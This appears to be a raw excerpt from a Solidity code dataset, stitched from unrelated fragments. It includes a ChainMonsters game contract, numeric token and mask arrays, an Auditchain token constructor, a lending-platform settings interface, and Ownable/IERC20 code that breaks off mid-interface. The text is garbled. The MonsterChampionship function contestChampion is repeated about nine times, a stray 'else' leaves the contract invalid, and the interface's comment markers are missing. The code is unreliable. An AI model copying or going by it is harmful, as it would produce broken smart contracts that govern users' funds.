_tokenId) external view returns ( uint256 powerlevel ) { Monster storage mon = monsters[_tokenId]; uint8[7] storage IVs = monsterIdToIVs[_tokenId]; powerlevel = mon.hp + IVs[0] + mon.attack + IVs[1] + mon.defense + IVs[2] + mon.spAttack + IVs[3] + mon.spDefense + IVs[4] + mon.speed + IVs[5]; } function isTrainer(address _check) external view returns ( bool isTrainer ) { Trainer storage trainer = addressToTrainer[_check]; if (trainer.currArea > 0) return true; else return false; } function withdrawBalance() external onlyOwner { uint256 balance = this.balance; owner.transfer(balance); } // after we have setup everything we can unlock the game // for public function launchGame() external onlyOwner { hasLaunched = true; } }
used during launch for world championship can and will be upgraded during development with new battle system! this is just to give players something to do and test their monsters also demonstrates how we can build up more mechanics on top of our locked core contract! list of top ten holds the address current "world" champion try to beat every other player in the top10 with your strongest monster! effectively looping through all top10 players, beating them one by one and if strong enough placing your in the top10 as well
contract MonsterChampionship is Ownable { bool public isMonsterChampionship = true; ChainMonstersCore core; address[10] topTen; address public currChampion; mapping (address => uint256) public addressToPowerlevel; mapping (uint256 => address) public rankToAddress; function contestChampion(uint256 _tokenId) external { uint maxIndex = 9; if (currChampion == msg.sender) revert(); require(core.isTrainer(msg.sender)); require(core.monsterIndexToOwner(_tokenId) == msg.sender); uint myPowerlevel = core.getMonsterPowerLevel(_tokenId); require(myPowerlevel > addressToPowerlevel[msg.sender]); uint myRank = 0; for (uint i=0; i<=maxIndex; i++) { if ( myPowerlevel > addressToPowerlevel[topTen[i]] ) { myRank = i; if (myRank == maxIndex) { currChampion = msg.sender; } } } addressToPowerlevel[msg.sender] = myPowerlevel; address[10] storage newTopTen = topTen; if (currChampion == msg.sender) { for (uint j=0; j<maxIndex; j++) { if (newTopTen[j] == msg.sender) { newTopTen[j] = 0x0; break; } } } for (uint x=0; x<=myRank; x++) { if (x == myRank) { newTopTen[x] = msg.sender; if (x < maxIndex) newTopTen[x] = topTen[x+1]; } } topTen = newTopTen; } function contestChampion(uint256 _tokenId) external { uint maxIndex = 9; if (currChampion == msg.sender) revert(); require(core.isTrainer(msg.sender)); require(core.monsterIndexToOwner(_tokenId) == msg.sender); uint myPowerlevel = core.getMonsterPowerLevel(_tokenId); require(myPowerlevel > addressToPowerlevel[msg.sender]); uint myRank = 0; for (uint i=0; i<=maxIndex; i++) { if ( myPowerlevel > addressToPowerlevel[topTen[i]] ) { myRank = i; if (myRank == maxIndex) { currChampion = msg.sender; } } } addressToPowerlevel[msg.sender] = myPowerlevel; address[10] storage newTopTen = topTen; if (currChampion == msg.sender) { for (uint j=0; j<maxIndex; j++) { if (newTopTen[j] == msg.sender) { newTopTen[j] = 0x0; break; } } } for (uint x=0; x<=myRank; x++) { if (x == myRank) { newTopTen[x] = msg.sender; if (x < maxIndex) newTopTen[x] = topTen[x+1]; } } topTen = newTopTen; } function contestChampion(uint256 _tokenId) external { uint maxIndex = 9; if (currChampion == msg.sender) revert(); require(core.isTrainer(msg.sender)); require(core.monsterIndexToOwner(_tokenId) == msg.sender); uint myPowerlevel = core.getMonsterPowerLevel(_tokenId); require(myPowerlevel > addressToPowerlevel[msg.sender]); uint myRank = 0; for (uint i=0; i<=maxIndex; i++) { if ( myPowerlevel > addressToPowerlevel[topTen[i]] ) { myRank = i; if (myRank == maxIndex) { currChampion = msg.sender; } } } addressToPowerlevel[msg.sender] = myPowerlevel; address[10] storage newTopTen = topTen; if (currChampion == msg.sender) { for (uint j=0; j<maxIndex; j++) { if (newTopTen[j] == msg.sender) { newTopTen[j] = 0x0; break; } } } for (uint x=0; x<=myRank; x++) { if (x == myRank) { newTopTen[x] = msg.sender; if (x < maxIndex) newTopTen[x] = topTen[x+1]; } } topTen = newTopTen; } function contestChampion(uint256 _tokenId) external { uint maxIndex = 9; if (currChampion == msg.sender) revert(); require(core.isTrainer(msg.sender)); require(core.monsterIndexToOwner(_tokenId) == msg.sender); uint myPowerlevel = core.getMonsterPowerLevel(_tokenId); require(myPowerlevel > addressToPowerlevel[msg.sender]); uint myRank = 0; for (uint i=0; i<=maxIndex; i++) { if ( myPowerlevel > addressToPowerlevel[topTen[i]] ) { myRank = i; if (myRank == maxIndex) { currChampion = msg.sender; } } } addressToPowerlevel[msg.sender] = myPowerlevel; address[10] storage newTopTen = topTen; if (currChampion == msg.sender) { for (uint j=0; j<maxIndex; j++) { if (newTopTen[j] == msg.sender) { newTopTen[j] = 0x0; break; } } } for (uint x=0; x<=myRank; x++) { if (x == myRank) { newTopTen[x] = msg.sender; if (x < maxIndex) newTopTen[x] = topTen[x+1]; } } topTen = newTopTen; } function contestChampion(uint256 _tokenId) external { uint maxIndex = 9; if (currChampion == msg.sender) revert(); require(core.isTrainer(msg.sender)); require(core.monsterIndexToOwner(_tokenId) == msg.sender); uint myPowerlevel = core.getMonsterPowerLevel(_tokenId); require(myPowerlevel > addressToPowerlevel[msg.sender]); uint myRank = 0; for (uint i=0; i<=maxIndex; i++) { if ( myPowerlevel > addressToPowerlevel[topTen[i]] ) { myRank = i; if (myRank == maxIndex) { currChampion = msg.sender; } } } addressToPowerlevel[msg.sender] = myPowerlevel; address[10] storage newTopTen = topTen; if (currChampion == msg.sender) { for (uint j=0; j<maxIndex; j++) { if (newTopTen[j] == msg.sender) { newTopTen[j] = 0x0; break; } } } for (uint x=0; x<=myRank; x++) { if (x == myRank) { newTopTen[x] = msg.sender; if (x < maxIndex) newTopTen[x] = topTen[x+1]; } } topTen = newTopTen; } function contestChampion(uint256 _tokenId) external { uint maxIndex = 9; if (currChampion == msg.sender) revert(); require(core.isTrainer(msg.sender)); require(core.monsterIndexToOwner(_tokenId) == msg.sender); uint myPowerlevel = core.getMonsterPowerLevel(_tokenId); require(myPowerlevel > addressToPowerlevel[msg.sender]); uint myRank = 0; for (uint i=0; i<=maxIndex; i++) { if ( myPowerlevel > addressToPowerlevel[topTen[i]] ) { myRank = i; if (myRank == maxIndex) { currChampion = msg.sender; } } } addressToPowerlevel[msg.sender] = myPowerlevel; address[10] storage newTopTen = topTen; if (currChampion == msg.sender) { for (uint j=0; j<maxIndex; j++) { if (newTopTen[j] == msg.sender) { newTopTen[j] = 0x0; break; } } } for (uint x=0; x<=myRank; x++) { if (x == myRank) { newTopTen[x] = msg.sender; if (x < maxIndex) newTopTen[x] = topTen[x+1]; } } topTen = newTopTen; } function contestChampion(uint256 _tokenId) external { uint maxIndex = 9; if (currChampion == msg.sender) revert(); require(core.isTrainer(msg.sender)); require(core.monsterIndexToOwner(_tokenId) == msg.sender); uint myPowerlevel = core.getMonsterPowerLevel(_tokenId); require(myPowerlevel > addressToPowerlevel[msg.sender]); uint myRank = 0; for (uint i=0; i<=maxIndex; i++) { if ( myPowerlevel > addressToPowerlevel[topTen[i]] ) { myRank = i; if (myRank == maxIndex) { currChampion = msg.sender; } } } addressToPowerlevel[msg.sender] = myPowerlevel; address[10] storage newTopTen = topTen; if (currChampion == msg.sender) { for (uint j=0; j<maxIndex; j++) { if (newTopTen[j] == msg.sender) { newTopTen[j] = 0x0; break; } } } for (uint x=0; x<=myRank; x++) { if (x == myRank) { newTopTen[x] = msg.sender; if (x < maxIndex) newTopTen[x] = topTen[x+1]; } } topTen = newTopTen; } function contestChampion(uint256 _tokenId) external { uint maxIndex = 9; if (currChampion == msg.sender) revert(); require(core.isTrainer(msg.sender)); require(core.monsterIndexToOwner(_tokenId) == msg.sender); uint myPowerlevel = core.getMonsterPowerLevel(_tokenId); require(myPowerlevel > addressToPowerlevel[msg.sender]); uint myRank = 0; for (uint i=0; i<=maxIndex; i++) { if ( myPowerlevel > addressToPowerlevel[topTen[i]] ) { myRank = i; if (myRank == maxIndex) { currChampion = msg.sender; } } } addressToPowerlevel[msg.sender] = myPowerlevel; address[10] storage newTopTen = topTen; if (currChampion == msg.sender) { for (uint j=0; j<maxIndex; j++) { if (newTopTen[j] == msg.sender) { newTopTen[j] = 0x0; break; } } } for (uint x=0; x<=myRank; x++) { if (x == myRank) { newTopTen[x] = msg.sender; if (x < maxIndex) newTopTen[x] = topTen[x+1]; } } topTen = newTopTen; } function contestChampion(uint256 _tokenId) external { uint maxIndex = 9; if (currChampion == msg.sender) revert(); require(core.isTrainer(msg.sender)); require(core.monsterIndexToOwner(_tokenId) == msg.sender); uint myPowerlevel = core.getMonsterPowerLevel(_tokenId); require(myPowerlevel > addressToPowerlevel[msg.sender]); uint myRank = 0; for (uint i=0; i<=maxIndex; i++) { if ( myPowerlevel > addressToPowerlevel[topTen[i]] ) { myRank = i; if (myRank == maxIndex) { currChampion = msg.sender; } } } addressToPowerlevel[msg.sender] = myPowerlevel; address[10] storage newTopTen = topTen; if (currChampion == msg.sender) { for (uint j=0; j<maxIndex; j++) { if (newTopTen[j] == msg.sender) { newTopTen[j] = 0x0; break; } } } for (uint x=0; x<=myRank; x++) { if (x == myRank) { newTopTen[x] = msg.sender; if (x < maxIndex) newTopTen[x] = topTen[x+1]; } } topTen = newTopTen; } } else { function getTopPlayers() external view returns ( address[10] players ) { players = topTen; } function MonsterChampionship(address coreContract) public { core = ChainMonstersCore(coreContract); } function withdrawBalance() external onlyOwner { uint256 balance = this.balance; owner.transfer(balance); } }
932,314
[ 1, 3668, 4982, 8037, 364, 9117, 462, 931, 285, 3261, 848, 471, 903, 506, 31049, 4982, 17772, 598, 394, 324, 4558, 298, 2619, 5, 333, 353, 2537, 358, 8492, 18115, 5943, 358, 741, 471, 1842, 3675, 6921, 334, 414, 2546, 302, 4758, 701, 815, 3661, 732, 848, 1361, 731, 1898, 1791, 7472, 2102, 603, 1760, 434, 3134, 8586, 2922, 6835, 5, 666, 434, 1760, 19572, 14798, 326, 1758, 783, 315, 18179, 6, 462, 931, 285, 775, 358, 23795, 3614, 1308, 7291, 316, 326, 1760, 2163, 598, 3433, 11773, 395, 6921, 8190, 5, 23500, 25004, 3059, 777, 1760, 2163, 18115, 16, 506, 1776, 2182, 1245, 635, 1245, 471, 309, 11773, 7304, 886, 5330, 3433, 316, 326, 1760, 2163, 487, 5492, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 9041, 8190, 782, 931, 285, 3261, 353, 14223, 6914, 288, 203, 203, 565, 1426, 1071, 353, 11415, 8190, 782, 931, 285, 3261, 273, 638, 31, 203, 377, 203, 565, 7824, 11415, 334, 414, 4670, 2922, 31, 203, 377, 203, 565, 1758, 63, 2163, 65, 1760, 25601, 31, 203, 203, 565, 1758, 1071, 4306, 782, 931, 285, 31, 203, 377, 203, 377, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 1071, 1758, 774, 13788, 2815, 31, 203, 565, 2874, 261, 11890, 5034, 516, 1758, 13, 1071, 6171, 774, 1887, 31, 203, 377, 203, 203, 27699, 377, 203, 377, 203, 565, 445, 466, 395, 782, 931, 285, 12, 11890, 5034, 389, 2316, 548, 13, 3903, 288, 203, 5411, 2254, 30764, 273, 2468, 31, 203, 2398, 203, 5411, 203, 2398, 203, 5411, 203, 2398, 203, 5411, 309, 261, 17016, 782, 931, 285, 422, 1234, 18, 15330, 13, 203, 7734, 15226, 5621, 203, 1171, 203, 2398, 203, 6647, 2583, 12, 3644, 18, 291, 1609, 14522, 12, 3576, 18, 15330, 10019, 540, 203, 6647, 2583, 12, 3644, 18, 2586, 8190, 1016, 774, 5541, 24899, 2316, 548, 13, 422, 1234, 18, 15330, 1769, 203, 2398, 203, 5411, 203, 6647, 2254, 3399, 13788, 2815, 273, 2922, 18, 588, 11415, 8190, 13788, 2355, 24899, 2316, 548, 1769, 203, 203, 5411, 203, 6647, 2583, 12, 4811, 13788, 2815, 405, 1758, 774, 13788, 2815, 63, 3576, 18, 15330, 19226, 203, 5411, 203, 6647, 203, 6647, 2254, 3399, 12925, 273, 374, 31, 203, 2398, 203, 5411, 364, 261, 11890, 277, 33, 20, 31, 2 ]
./full_match/1/0xc1BB6B6ae3b161AB145758D34D1FbfE91a3823ae/sources/contracts/Sale.sol
@dev Constructor that gives an account all initial tokens.
constructor(address account) ERC20("Auditchain", "AUDT") { require(account != address(0), "AuditToken:constructor - Address can't be 0"); _mint(account, INITIAL_SUPPLY); _setupRole(DEFAULT_ADMIN_ROLE, account); }
3,114,418
[ 1, 6293, 716, 14758, 392, 2236, 777, 2172, 2430, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 3885, 12, 2867, 2236, 13, 4232, 39, 3462, 2932, 37, 1100, 1437, 530, 3113, 315, 14237, 9081, 7923, 288, 203, 5411, 2583, 12, 4631, 480, 1758, 12, 20, 3631, 315, 10832, 1345, 30, 12316, 300, 5267, 848, 1404, 506, 374, 8863, 203, 5411, 389, 81, 474, 12, 4631, 16, 28226, 67, 13272, 23893, 1769, 4202, 203, 5411, 389, 8401, 2996, 12, 5280, 67, 15468, 67, 16256, 16, 2236, 1769, 203, 3639, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0x1799D9F854e4b6BF9C65C8D05cc239d7097b0461/sources/LendingPool.sol
*/*/*/*/*/*/*/*/*/*/*/*/*/*/
interface SettingsInterface { @notice This event is emitted when a new platform setting is created. @param settingName new setting name. @param sender address that created it. @param value value for the new setting. event PlatformSettingCreated( bytes32 indexed settingName, address indexed sender, uint256 value, uint256 minValue, uint256 maxValue ); @notice This event is emitted when a current platform setting is removed. @param settingName setting name removed. @param sender address that removed it. event PlatformSettingRemoved( bytes32 indexed settingName, uint256 lastValue, address indexed sender ); @notice This event is emitted when a platform setting is updated. @param settingName settings name updated. @param sender address that updated it. @param oldValue old value for the setting. @param newValue new value for the setting. event PlatformSettingUpdated( bytes32 indexed settingName, address indexed sender, uint256 oldValue, uint256 newValue ); @notice This event is emitted when a lending pool is paused. @param account address that paused the lending pool. @param lendingPoolAddress lending pool address which was paused. event LendingPoolPaused(address indexed account, address indexed lendingPoolAddress); @notice This event is emitted when a lending pool is unpaused. @param account address that paused the lending pool. @param lendingPoolAddress lending pool address which was unpaused. event LendingPoolUnpaused(address indexed account, address indexed lendingPoolAddress); @notice It creates a new platform setting given a setting name, value, min and max values. @param settingName setting name to create. @param value the initial value for the given setting name. @param minValue the min value for the setting. @param maxValue the max value for the setting. function createPlatformSetting( bytes32 settingName, uint256 value, uint256 minValue, uint256 maxValue ) external; function consts() external view returns (SettingsConsts); function assetSettings() external view returns (AssetSettingsInterface); @notice It updates an existent platform setting given a setting name. @notice It only allows to update the value (not the min or max values). @notice In case you need to update the min or max values, you need to remove it, and create it again. @param settingName setting name to update. @param newValue the new value to set. function updatePlatformSetting(bytes32 settingName, uint256 newValue) external; @notice Removes a current platform setting given a setting name. @param settingName to remove. function removePlatformSetting(bytes32 settingName) external; @notice It gets the current platform setting for a given setting name @param settingName to get. @return the current platform setting. function getPlatformSetting(bytes32 settingName) external view returns (PlatformSettingsLib.PlatformSetting memory); @notice It gets the current platform setting value for a given setting name @param settingName to get. @return the current platform setting value. function getPlatformSettingValue(bytes32 settingName) external view returns (uint256); @notice It tests whether a setting name is already configured. @param settingName setting name to test. @return true if the setting is already configured. Otherwise it returns false. function hasPlatformSetting(bytes32 settingName) external view returns (bool); @notice It gets whether the platform is paused or not. @return true if platform is paused. Otherwise it returns false. function isPaused() external view returns (bool); @notice It gets whether a lending pool is paused or not. @param lendingPoolAddress lending pool address to test. @return true if the lending pool is paused. Otherwise it returns false. function lendingPoolPaused(address lendingPoolAddress) external view returns (bool); @notice It pauses a specific lending pool. @param lendingPoolAddress lending pool address to pause. function pauseLendingPool(address lendingPoolAddress) external; @notice It unpauses a specific lending pool. @param lendingPoolAddress lending pool address to unpause. function unpauseLendingPool(address lendingPoolAddress) external; function platformSettings(bytes32) external view returns (PlatformSettingsLib.PlatformSetting memory); @notice Tests whether an account has the pauser role. @param account account to test. @return true if account has the pauser role. Otherwise it returns false. function isPauser(address account) external view returns (bool); @notice Requires an account to have the pauser role. @param account account to test. function requirePauserRole(address account) external view; @notice Restricts the use of the Teller protocol to authorized wallet addresses only @param restriction Bool turning the resitriction on or off function restrictPlatform(bool restriction) external; @notice Returns whether the platform is restricted or not @return bool True if the platform is restricted, false if not function isPlatformRestricted() external view returns (bool); @notice Tests whether an account has authorization @param account The account address to check for @return True if account has authorization, false if it does not function hasAuthorization(address account) external view returns (bool); @notice Requires an account to have platform authorization. @param account account to test. function requireAuthorization(address account) external view; @notice Get the current EscrowFactory contract. @return the current EscrowFactory contract. function escrowFactory() external view returns (EscrowFactoryInterface); function versionsRegistry() external view returns (LogicVersionsRegistryInterface); function interestValidator() external view returns (InterestValidatorInterface); @notice It is the global instance of the ChainlinkAggregator contract. function chainlinkAggregator() external view returns (IChainlinkAggregator); @notice Get the current ATMSetting contract. @return the current AtmSetting contract. function atmSettings() external view returns (IATMSettings); @notice Gets the cToken address for a given asset address. @param assetAddress token address. @return the cToken address for a given asset address. function getCTokenAddress(address assetAddress) external view returns (address); @notice It initializes this settings contract instance. @param escrowFactoryAddress the initial escrow factory address. @param versionsRegistryAddress the initial versions registry address. @param chainlinkAggregatorAddress the initial pair aggregator registry address. @param interestValidatorAddress the initial interest validator address. @param atmSettingsAddress the initial ATM settings address. @param wethTokenAddress canonical WETH token address. @param cethTokenAddress compound CETH token address. function initialize( address escrowFactoryAddress, address versionsRegistryAddress, address chainlinkAggregatorAddress, address interestValidatorAddress, address atmSettingsAddress, address wethTokenAddress, address cethTokenAddress ) external; @notice It gets the ETH address used in the platform. @return the ETH address used in the platform. function ETH_ADDRESS() external view returns (address); @notice It gets the canonical WETH address used in the platform. @return the canonical WETH address used in the platform. function WETH_ADDRESS() external view returns (address); @notice It gets the canonical CETH address used in the platform. @return the canonical CETH address used in the platform. function CETH_ADDRESS() external view returns (address); }
8,542,576
[ 1, 2105, 18235, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 8709, 1358, 288, 203, 3639, 632, 20392, 1220, 871, 353, 17826, 1347, 279, 394, 4072, 3637, 353, 2522, 18, 203, 3639, 632, 891, 3637, 461, 394, 3637, 508, 18, 203, 3639, 632, 891, 5793, 1758, 716, 2522, 518, 18, 203, 3639, 632, 891, 460, 460, 364, 326, 394, 3637, 18, 203, 225, 871, 11810, 5568, 6119, 12, 203, 565, 1731, 1578, 8808, 3637, 461, 16, 203, 565, 1758, 8808, 5793, 16, 203, 565, 2254, 5034, 460, 16, 203, 565, 2254, 5034, 20533, 16, 203, 565, 2254, 5034, 18666, 203, 225, 11272, 203, 203, 3639, 632, 20392, 1220, 871, 353, 17826, 1347, 279, 783, 4072, 3637, 353, 3723, 18, 203, 3639, 632, 891, 3637, 461, 3637, 508, 3723, 18, 203, 3639, 632, 891, 5793, 1758, 716, 3723, 518, 18, 203, 225, 871, 11810, 5568, 10026, 12, 203, 565, 1731, 1578, 8808, 3637, 461, 16, 203, 565, 2254, 5034, 1142, 620, 16, 203, 565, 1758, 8808, 5793, 203, 225, 11272, 203, 203, 3639, 632, 20392, 1220, 871, 353, 17826, 1347, 279, 4072, 3637, 353, 3526, 18, 203, 3639, 632, 891, 3637, 461, 1947, 508, 3526, 18, 203, 3639, 632, 891, 5793, 1758, 716, 3526, 518, 18, 203, 3639, 632, 891, 11144, 1592, 460, 364, 326, 3637, 18, 203, 3639, 632, 891, 6129, 394, 460, 364, 326, 3637, 18, 203, 225, 871, 11810, 5568, 7381, 12, 203, 565, 1731, 1578, 8808, 3637, 461, 16, 203, 565, 1758, 8808, 5793, 16, 203, 565, 2254, 5034, 11144, 16, 203, 565, 2254, 5034, 6129, 203, 225, 11272, 203, 203, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-11-12 */ /** *Submitted for verification at Etherscan.io on 2021-10-30 */ // File: contracts/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ // constructor () internal { // _owner = msg.sender; // emit OwnershipTransferred(address(0), _owner); // } function ownerInit() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function mint(address recipient, uint256 amount) external returns(bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function blindBox(address seller, string calldata tokenURI, bool flag, address to, string calldata ownerId) external returns (uint256); function mintAliaForNonCrypto(uint256 price, address from) external returns (bool); function nonCryptoNFTVault() external returns(address); function mainPerecentage() external returns(uint256); function authorPercentage() external returns(uint256); function platformPerecentage() external returns(uint256); function updateAliaBalance(string calldata stringId, uint256 amount) external returns(bool); function getSellDetail(uint256 tokenId) external view returns (address, uint256, uint256, address, uint256, uint256, uint256); function getNonCryptoWallet(string calldata ownerId) external view returns(uint256); function getNonCryptoOwner(uint256 tokenId) external view returns(string memory); function adminOwner(address _address) external view returns(bool); function getAuthor(uint256 tokenIdFunction) external view returns (address); function _royality(uint256 tokenId) external view returns (uint256); function getrevenueAddressBlindBox(string calldata info) external view returns(address); function getboxNameByToken(uint256 token) external view returns(string memory); //Revenue share function addNonCryptoAuthor(string calldata artistId, uint256 tokenId, bool _isArtist) external returns(bool); function transferAliaArtist(address buyer, uint256 price, address nftVaultAddress, uint256 tokenId ) external returns(bool); function checkArtistOwner(string calldata artistId, uint256 tokenId) external returns(bool); function checkTokenAuthorIsArtist(uint256 tokenId) external returns(bool); function withdraw(uint) external; function deposit() payable external; // function approve(address spender, uint256 rawAmount) external; // BlindBox 